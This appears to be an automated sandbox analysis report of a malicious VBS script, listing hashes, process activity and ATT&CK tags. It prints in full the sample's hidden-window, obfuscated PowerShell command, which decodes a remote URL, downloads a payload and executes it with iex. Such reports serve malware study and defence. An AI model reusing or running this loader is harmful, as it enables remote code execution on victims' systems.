d91e772f6c655c2179ddff4d9314395a66b5d7f0eda8895432d53ca8ba42fa6e

Analysis

max time kernel
141s
max time network
155s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
26-06-2024 03:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8e0046c2970cc659c2c928a72a71256ce54275281aba6ee2ea1f0d90131201c3.vbs
Size

9KB
MD5

f107cca31b6e26749df68211f8b05cc6
SHA1

5711db3dfedb21e709b2fe6921e9cd6bb4d9f553
SHA256

8e0046c2970cc659c2c928a72a71256ce54275281aba6ee2ea1f0d90131201c3
SHA512

8c44a4999bfcae97e0f2da805df13dd8e7f46700effcbbbb6ef4ff5b1f5a4514117f398d65d28fc7b2aa9d45a9c3c3b259ac60fdc7b2aeb50b5d037bc2863f6a
SSDEEP

192:CItYB8umYh7/mU5PC4SWYrdZIV1WbrY375rC7Sv/t:mFmYh7egK4ZmMXyx7U/t

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2168 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2168 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2168 powershell.exe

pid	process
2168	powershell.exe

pid	process
2168	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2168	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1704 wrote to memory of 2168	1704	WScript.exe	powershell.exe
PID 1704 wrote to memory of 2168	1704	WScript.exe	powershell.exe
PID 1704 wrote to memory of 2168	1704	WScript.exe	powershell.exe
PID 2168 wrote to memory of 2748	2168	powershell.exe	cmd.exe
PID 2168 wrote to memory of 2748	2168	powershell.exe	cmd.exe
PID 2168 wrote to memory of 2748	2168	powershell.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8e0046c2970cc659c2c928a72a71256ce54275281aba6ee2ea1f0d90131201c3.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden "cls;write 'kamferolien Konfusionens troskabslftet Indenrigshandler Indlemmelsen Citadel Tallium parallelogrammets Knlang Unsentenced';$Shapingly = 1;Function Uldgarners($Enerverede133){$Taklingers128=$Enerverede133.Length-$Shapingly;$Skruestiksbnk236='SUBSTRIN';$Skruestiksbnk236+='G';For( $Dumpningerne=4;$Dumpningerne -lt $Taklingers128;$Dumpningerne+=5){$kamferolien+=$Enerverede133.$Skruestiksbnk236.Invoke( $Dumpningerne, $Shapingly);}$kamferolien;}function Ublandet($Cockfights){ & ($Carpet) ($Cockfights);}$Interfiling=Uldgarners 'Ufr MRhino akizSpo.iOut lCrillSolaaExps/Dolm5Bore.Shee0Butt Arc(KadaWSta.iCentn .ugdHae,oVan wInshsCa f Gla.NBallTrea, Reup1 Mul0Avit.Cont0Xeno;Syri Taa,WFe.hiAu.inU cu6Surm4 Mot;Ga.f ta oxUnpr6Labi4Impa;P,en Commrra iv.est: Pee1Hart2Raas1Jou . pre0Spyd)Stri f,skGTsnieLagrcLnrekLum.oKlod/Iri.2Bete0T ar1Ride0K,up0 .lu1Caly0Roul1Unde N.niFBiopi wir G ye elfkor.oGro.xAnk,/ Ate1Trll2 ,ot1Oxid.F,rs0 Bim ';$Avianizes172=Uldgarners 'SubpULi.hsHel.eDarkrA.ti- OveA AmbgForleJenmnFoe.tSupe ';$Indlemmelsen=Uldgarners 'Plaih,andt La tMetap Rad:Urm,/Luxm/ SmidDecen.nopvT kskMoto1 .pp.DubliFibrnMultf.armo Def/TilrwFygnpbort-DisdaNoncdSubjmOrdiiMorgnGri,/AcceCSyttoEgnemSatytHjlpiSemiaEnsinQua . GareGranmUnmezFej. ';$Hkker=Uldgarners 'Anta> Pla ';$Carpet=Uldgarners 'Fde.iLooseS lfx Pta ';$Rosehiller='parallelogrammets';$Uncleavable = Uldgarners 'anabeTo.mc .orh.nseo Cho Tran% israpolapDep pCribd QuiaDis.tels.aSu f%Xylo\TegnOMaddeOvermHjemm ybdePrdi.Re,eSjuicpUndeowing Pap&Leat&Selv AndeTri,cBeskhSteroMo.d AfstTusc ';Ublandet (Uldgarners 'Un.n$AdhegSta.lAgaroSnacb PleaT.rkl Ann:D stSStora aznTittcPontt CliiUdtro aadnAcrom ,kyeCatanSkrotSk,r=W.nd( ndac GenmAffldCoat Humd/ E rcSt,r Anac$MacrUVeninBe,ec Coclt lee AfmaUddtv,verahegebA.del Un.ec.lo)Pr.v ');Ublandet (Uldgarners 'Fila$ArabgBookl nimoUdfrbParaa RkelFa.o: GalI U,cnSub,dSulleE.sanBrevrJesyiDomegApersN.crhBrugaPhotn S.rdHaanlDybfePumprUnco= Str$PejlIAfs nUne dsk.olThrue.krimBe.zmChakethyrlCon.sCa.vePimpnSoap.sm.ks digpHydrlCa.ei S.utOver(Chil$U.ulH,ntgkMi.jkAgateVoucrRegi)Disp ');Ublandet (Uldgarners 'Cyke[BullNra keInv,tErst. ,orSRampeBacirCathv apiFixgcTjene tr PsteroYr.eiFounn ,ostBismMAfslaChaunElekaFyldg Soke NatrBalt]D.ce: raf:FlorS Stre BercVetcu Dy.rS,nsi ,detPalpy n.nPgowdr Grao Part P,toKvgecRevao .tolTime P.ts=Surf Ceme[ OveNPyroeStr t dis. St.SAndeerigmcUnjouHngerNavni,angtInd.yStemPU strCo.coIncatImpeoChatc K.noSoublSvarT,ndsyFotop K.ae Va,]Modi: Non:R.seT.verlFrotsKara1Flam2indu ');$Indlemmelsen=$Indenrigshandler[0];$doppelkummel= (Uldgarners 'Of,i$.derg L,gl ammoI,brbUnbra S,al,enk:PhreMwi.do Opvn Heak.ntisB,ut=LingN SpieFa.swBism-,ritOD.smbTilsj ,ooeSc,rc,esitTape klaS WeiyKolosrefut Si,eMo,em oda.UnpeNsh,mePerftBa y. ElmWB speVarebPseuCPrael ForiAmiseTimbnUnf t');$doppelkummel+=$Sanctionment[1];Ublandet ($doppelkummel);Ublandet (Uldgarners 'Tr.n$.aasMKvaroRealn eltkTennsHaml.MocmHBeaceOveraFavod OpeeSkilr unrsCasc[Mind$.pdrAErhvvGut.i.somaMoltnIn,ei.ilmz .rue s isDef 1 G e7Loud2Pio.] .en=ib,p$FladI so nPatrtDomeebes r E pfSaxoiaprolAcriiBeginRo igAnth ');$Kontraktionernes=Uldgarners 'Aare$Hva MKontoU ornFil.kRlins ngr. SkaD undo phewUnqunFalxludfao Fl aKnowdDesuFMutuiMorglHvereC nv(.kue$IndsItjennBeledAttilRajaefolimAflumfokke Dvel RetsSelveJovinHype, Fre$SpreW Tyle .enaMuscsWitco Trun D a)Styr ';$Weason=$Sanctionment[0];Ublandet (Uldgarners 'bar,$ ,ergBlenl FoeoDo ebRkeea TaglN nf:KuldDMiniiSubofSygef ekne VesrSt ieUfe,nDokut Bu,iPreleMisrrDeroiUgenn udgg CloeEluenSl,ms olk=Ra,e(UnreTInqueImmishypet Kol-E.doPTh.raTilbtGasthrou. Repu$ RaaWNonaeRboea Mugslif oS,utnInfe)Ali. ');while (!$Differentieringens) {Ublandet (Uldgarners ' om$Hypogrn nl reeoK ukbTrykaGstgl.ehk:DenaLvowlrAlkaeSegrpn,nur Stuo,ntecMa.neU,prsAllasDispe SworCarbnlandeThyi=Komc$BisstRenorBe,luDomeeKuld ') ;Ublandet $Kontraktionernes;Ublandet (Uldgarners 'BaanSSor tD,praRhetrhjtrt,amm- nnSAmazlA,tieT.ane Fecp Pro Per4Edvi ');Ublandet (Uldgarners ' Tai$BrndgFrikl Frio.nupbA.traF culMono: TaaD N,diSla,fSnudf H.aeStonrBygheOvern dsetEkseiVrdie.axarEkstiPetanpalsgBet eSkrun LomsDisc=Ste (NeopTAnsteConfsPrestEmbr-SulpPK,ola.alit BehhFlov Luny$DoubWSh ee redaOarisGranoPur nFro,).ull ') ;Ublandet (Uldgarners 'Gudb$ u.egHemil La o istbPaaha Be.l Gaz:.vertM sor TusoAcuts frkSttea FacbAsylsAntrl W.tfEnertNuzzeNeoptA.be=Tils$ FungIrrelInspoHaembIndaa ,islHi.l:MicrKSi,uoPr,nn IntfMin,uAn,gsArbeim.llo .eln PugeMilinTyvss Blo+Boyk+Slet% Lak$BygnIUndenBlo dLangeUn tnP,rir.agsiDilug.elmssemihHyalaTropnCh ldAllel O,yeStvnr ary. SyncSympopro u HjenSpndtH in ') ;$Indlemmelsen=$Indenrigshandler[$troskabslftet];}$Korruptionens=298513;$Udskibningshavne=27939;Ublandet (Uldgarners 'Plat$DekogWobbl P aoD.onb,raga Oz.lSpla:W.ipK QuinJunilKrona BaanOrkegHet, Udh=p,op FiskG irdeAntitMacr-Non,Ctougo FornEurytSubfeSeisn.adrtunhu Berg$re.iWKlareIncua.edssVet.oLn.bnFlyg ');Ublandet (Uldgarners 'Forh$MapogChemlBrneoKr,ibRec aRibsl,ubs:Sp,eS.ynda SkdmInk lTr aeprotrRecrgNedfiM crrD,aweViderSelei,uffnUndegPart Matc=Me,a Doct[ enuS StryFejlsForptPis eNa.um .ea.SporCPrecoenganHk.evAfreeTjrer ne t en].lae:Tosd: U.dF Fa rSocioAxopmStetBO,eraSlitsE,cte.tom6 Roa4 S,eSA titAma,rT,ykiFllen Da.gelec(Unca$ ComKH arn Ov,lIso aMedin Lu,g.chl)Hemp ');Ublandet (Uldgarners 'Arra$Chakg MurlSalvoO,onbSeata deslZ,go:,kreRSkareStornF.ned dioeRe.ojKapieUopsrSkulnRitesfel. Outr=Sl.e Lpla[Mez.SLugtyUnwosYurttChr,eBa km for.R.deTFilmeScenxSenst Bor.BjrnEFyrsnbruncor.io AradTamaiAntinLodogErik]Craz:Unpo:GaspAvalgSInddC C,aIS,hyI Ord.CharGSukke oshtDechS .intUnderFedti,ragn Grog ut(Wigh$Tit SMaryaKoremTe rlSi ae Kr.r GnagAltei Skrr Syne TryrPletiGearn RungKaka) Akt ');Ublandet (Uldgarners 'B,kt$ ThigCo.bl Belo,eddb bela orfl ham:Tys,SSv.nn AmaeBelamHearaDeren GladUnd eVinonBlodsInca=hug.$imp,R Mode pernKagedUrbae TrajRustemacrr UdanAlexsreta.MisbsSublu ResbPhals GentKoncrDe,niBi.tnKammgImpe(Fris$ takKB lioOmberWestrUnfruvideptucst agiiLkkeo irsn CaceSilen,nsisBlo,, erp$RibbUPrisdStj sSp,kkUni iP inbD honExemi Ovend,wagBrods,warhL.njaElpavGundnCente,ros)Valf ');Ublandet $Snemandens;"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Oemme.Spo && echo t"
3⤵
PID:2748

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2168-4-0x000007FEF4F8E000-0x000007FEF4F8F000-memory.dmp

Filesize
4KB

Download
memory/2168-5-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2168-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2168-7-0x000007FEF4CD0000-0x000007FEF566D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-8-0x000007FEF4CD0000-0x000007FEF566D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-9-0x000007FEF4CD0000-0x000007FEF566D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-10-0x000007FEF4CD0000-0x000007FEF566D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-11-0x000007FEF4CD0000-0x000007FEF566D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-12-0x000007FEF4F8E000-0x000007FEF4F8F000-memory.dmp

Filesize
4KB

Download
memory/2168-13-0x000007FEF4CD0000-0x000007FEF566D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-14-0x000007FEF4CD0000-0x000007FEF566D000-memory.dmp

Filesize
9.6MB

Download